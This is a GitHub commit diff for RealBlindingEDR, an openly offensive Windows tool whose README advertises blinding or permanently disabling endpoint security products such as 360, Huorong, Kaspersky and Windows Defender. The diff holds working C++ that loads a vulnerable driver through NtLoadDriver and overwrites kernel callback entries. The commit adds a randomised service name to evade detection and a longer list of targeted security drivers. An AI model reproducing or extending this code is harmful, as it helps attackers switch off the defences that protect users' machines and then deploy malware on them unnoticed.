Skip to content

Commit fe5116e

Browse files
committed
update
1 parent 84f9bc1 commit fe5116e

File tree

4 files changed

+36
-14
lines changed

4 files changed

+36
-14
lines changed

README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ If you want to understand the implementation principle, you can refer to the ana
88

99
For immediate utilization, this update is released:
1010

11-
**Supports blinding/permanent shutdown: 360 Security Guard, 360 Enterprise Edition, Tianqing V10, Tencent Computer Manager, Tinder/Tinder Enterprise Edition, Kaspersky Enterprise Edition, AsiaInfo EDR, Windows Defender.**
11+
**Supports blinding/permanent shutdown: 360 Security Guard, 360 Enterprise Edition, Tianqing V10, Tencent Computer Manager, Tinder/Tinder Enterprise Edition, Kaspersky Endpoint Security, AsiaInfo EDR, Windows Defender, AnTian Zhijia.**
1212

1313
**Note:** If you have other EDR products that need to be blinded, you can send me the installation package and I will implement it according to the situation.
1414

README.zh_CN.md

+2-2
Original file line numberDiff line numberDiff line change
@@ -6,11 +6,11 @@
66

77
为了便于直接利用,发布此更新:
88

9-
**支持致盲/永久关闭:360 安全卫士、360 企业版、天擎V10、腾讯电脑管家、火绒/火绒企业版、卡巴斯基企业版、亚信EDR、Windows Defender**
9+
**支持致盲/永久关闭:360 安全卫士、360 企业版、天擎V10、腾讯电脑管家、火绒/火绒企业版、卡巴斯基企业版、亚信EDR、Windows Defender、安天智甲**
1010

1111
**注:** 如果你有其他需要致盲的EDR产品可以发我安装包,我会根据情况实现。
1212

13-
**当前已在64位的 Windows 7/10/11、Windows Server 2008R2/2012R2/2016/2019/2022 完成测试。如果你发现在某个版本有问题,可通过issue 反馈,我会进行适配**
13+
**当前已在64位的 Windows 7/10/11、Windows Server 2008R2/2012R2/2016/2019/2022 完成测试。如果你发现在某个版本有问题,可通过issue 反馈。**
1414

1515

1616
## 简介

RealBlindingEDR/RealBlindingEDR/RealBlindingEDR.cpp

+30-10
Original file line numberDiff line numberDiff line change
@@ -5,10 +5,11 @@ DWORD dwMajor = 0;
55
DWORD dwMinorVersion = 0;
66
DWORD dwBuild = 0;
77
INT64 EDRIntance[500] = { 0 };
8+
TCHAR* RandomName = NULL;
89
BOOL LoadDriver() {
910
HKEY hKey;
1011
HKEY hsubkey;
11-
if (!RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"System\\CurrentControlSet", 0, 2u, &hKey) && !RegCreateKeyW(hKey, L"RealBlindingEDR", &hsubkey)) {
12+
if (!RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"System\\CurrentControlSet", 0, 2u, &hKey) && !RegCreateKeyW(hKey, RandomName, &hsubkey)) {
1213
CHAR* pdata = (CHAR*)calloc(1024, 1);
1314
if (pdata == NULL) return FALSE;
1415
memcpy(pdata, "\\??\\", strlen("\\??\\"));
@@ -25,16 +26,14 @@ BOOL LoadDriver() {
2526
}
2627

2728
if (!RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"System\\CurrentControlSet\\services", 0, 2u, &hKey)) {
28-
RegCreateKeyW(hKey, L"RealBlindingEDR", &hsubkey);
29+
RegCreateKeyW(hKey, RandomName, &hsubkey);
2930
}
3031
else {
3132
printf("Step3 Error\n");
3233
return FALSE;
3334
}
3435
RegCloseKey(hKey);
3536

36-
INT errcode;
37-
3837
HMODULE hMoudle = LoadLibraryA("ntdll.dll");
3938
if (hMoudle == NULL) {
4039
printf("Step4 Error\n");
@@ -52,8 +51,10 @@ BOOL LoadDriver() {
5251
}
5352

5453
UNICODE_STRING szSymbolicLink;
55-
RtlInitUnicodeString(&szSymbolicLink, (wchar_t*)L"\\Registry\\Machine\\System\\CurrentControlSet\\RealBlindingEDR");
56-
errcode = NtLoadDriver(&szSymbolicLink);
54+
TCHAR LinkPath[100] = L"\\Registry\\Machine\\System\\CurrentControlSet\\";
55+
lstrcat(LinkPath, RandomName);
56+
RtlInitUnicodeString(&szSymbolicLink, LinkPath);
57+
INT errcode = NtLoadDriver(&szSymbolicLink);
5758
if (errcode >= 0)
5859
{
5960
return TRUE;
@@ -92,7 +93,9 @@ VOID UnloadDrive() {
9293

9394
RtlInitUnicodeStringPtr RtlInitUnicodeString = (RtlInitUnicodeStringPtr)GetProcAddress(hMoudle, "RtlInitUnicodeString");
9495
UNICODE_STRING szSymbolicLink;
95-
RtlInitUnicodeString(&szSymbolicLink, (wchar_t*)L"\\Registry\\Machine\\System\\CurrentControlSet\\RealBlindingEDR");
96+
TCHAR LinkPath[100] = L"\\Registry\\Machine\\System\\CurrentControlSet\\";
97+
lstrcat(LinkPath, RandomName);
98+
RtlInitUnicodeString(&szSymbolicLink, LinkPath);
9699
NtUnLoadDriverPtr NtUnLoadDriver = (NtUnLoadDriverPtr)GetProcAddress(hMoudle, "NtUnloadDriver");
97100

98101
int errcode = NtUnLoadDriver(&szSymbolicLink);
@@ -105,7 +108,7 @@ VOID UnloadDrive() {
105108
}
106109
}
107110
BOOL InitialDriver() {
108-
//win7 加载此驱动崩溃,和后面代码逻辑无关
111+
//win7 加载此驱动崩溃,和后面代码逻辑无关
109112
if (Driver_Type == 1) {
110113
hDevice = CreateFile(L"\\\\.\\EchoDrv", GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
111114
if (hDevice == INVALID_HANDLE_VALUE) {
@@ -260,7 +263,6 @@ INT64 GetFuncAddress(CHAR* ModuleName, CHAR* FuncName) {
260263
return (INT64)KBase + Offset;
261264
}
262265

263-
264266
INT64 GetPspNotifyRoutineArray(CHAR* KernelCallbackRegFunc) {
265267

266268
INT64 PsSetCallbacksNotifyRoutineAddress = GetFuncAddress((CHAR*)"ntoskrnl.exe", KernelCallbackRegFunc);
@@ -553,7 +555,7 @@ VOID RemoveObRegisterCallbacks(INT64 PsProcessTypeAddr, INT flag) {
553555
CHAR* DriverName2 = GetDriverName(EDRPostOperation);
554556
if (DriverName2 != NULL) {
555557
if (IsEDR(DriverName2)) {
556-
//清除回调
558+
//清除回调
557559
DriverWriteMemery(data, (VOID*)(Flink + 48), 8);
558560
if (flag == 1) {
559561
printf("Process PreOperation: %s [Clear]\n", DriverName2);
@@ -945,6 +947,23 @@ VOID ClearMiniFilterCallback() {
945947

946948
}
947949

950+
VOID GenerateRandomName() {
951+
srand((UINT)time(NULL));
952+
953+
INT length = rand() % 4 + 7;
954+
TCHAR charset[] = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
955+
RandomName = (TCHAR*)calloc(length*2 + 12,1);
956+
if (RandomName) {
957+
for (INT i = 0; i < length; ++i) {
958+
INT index = rand() % (INT)(lstrlen(charset) - 1);
959+
RandomName[i] = charset[index];
960+
}
961+
}
962+
else {
963+
printf("Random Error!\n");
964+
ExitProcess(0);
965+
}
966+
}
948967
int main(int argc, char* argv[])
949968
{
950969
printf(" _______ __ ______ __ _ __ _ ________ ______ _______ \n");
@@ -961,6 +980,7 @@ int main(int argc, char* argv[])
961980
DrivePath = argv[1];
962981
Driver_Type = atoi(argv[2]);
963982

983+
GenerateRandomName();
964984
HINSTANCE hinst = LoadLibraryA("ntdll.dll");
965985
if (hinst == NULL) return FALSE;
966986
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");

RealBlindingEDR/RealBlindingEDR/RealBlindingEDR.h

+3-1
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
#include<stdio.h>
33
#include<winternl.h>
44
#include<psapi.h>
5+
#include <time.h>
56
#pragma comment(lib,"ntdll.lib")
67

78
/*
@@ -17,14 +18,15 @@ CHAR* DrivePath = NULL;
1718

1819
//Set the driver name to be cleared
1920
CONST CHAR* AVDriver[] = {
20-
"klflt.sys","klhk.sys","klif.sys","klupd_KES-21-9_arkmon.sys","KLIF.KES-21-9.sys","klbackupflt.KES-21-9.sys",
21+
"klflt.sys","klhk.sys","klif.sys","klupd_KES-21-9_arkmon.sys","KLIF.KES-21-9.sys","klbackupflt.KES-21-9.sys","klids.sys","klupd_klif_arkmon.sys",
2122
"QaxNfDrv.sys","QKBaseChain64.sys","QKNetFilter.sys","QKSecureIO.sys","QesEngEx.sys","QkHelp64.sys","qmnetmonw64.sys",
2223
"QMUdisk64_ev.sys","QQSysMonX64_EV.sys","TAOKernelEx64_ev.sys","TFsFltX64_ev.sys","TAOAcceleratorEx64_ev.sys","QQSysMonX64.sys","TFsFlt.sys",
2324
"sysdiag_win10.sys","sysdiag.sys",
2425
"360AvFlt.sys",
2526
"360qpesv64.sys","360AntiSteal64.sys","360AntiSteal.sys","360qpesv.sys","360FsFlt.sys","360Box64.sys","360netmon.sys","360AntiHacker64.sys","360Hvm64.sys","360qpesv64.sys","360AntiHijack64.sys","360AntiExploit64.sys","DsArk64.sys","360Sensor64.sys","DsArk.sys",
2627
"WdFilter.sys","MpKslDrv.sys","mpsdrv.sys","WdNisDrv.sys","win32k.sys",
2728
"TmPreFilter.sys","TmXPFlt.sys",
29+
"AHipsFilter.sys","AHipsFilter64.sys","GuardKrnl.sys","GuardKrnl64.sys","GuardKrnlXP64.sys","protectdrv.sys","protectdrv64.sys","AntiyUSB.sys","AntiyUSB64.sys","AHipsXP.sys","AHipsXP64.sys","AtAuxiliary.sys","AtAuxiliary64.sys","TrustSrv.sys","TrustSrv64.sys",
2830
NULL
2931
};
3032

0 commit comments

Comments
 (0)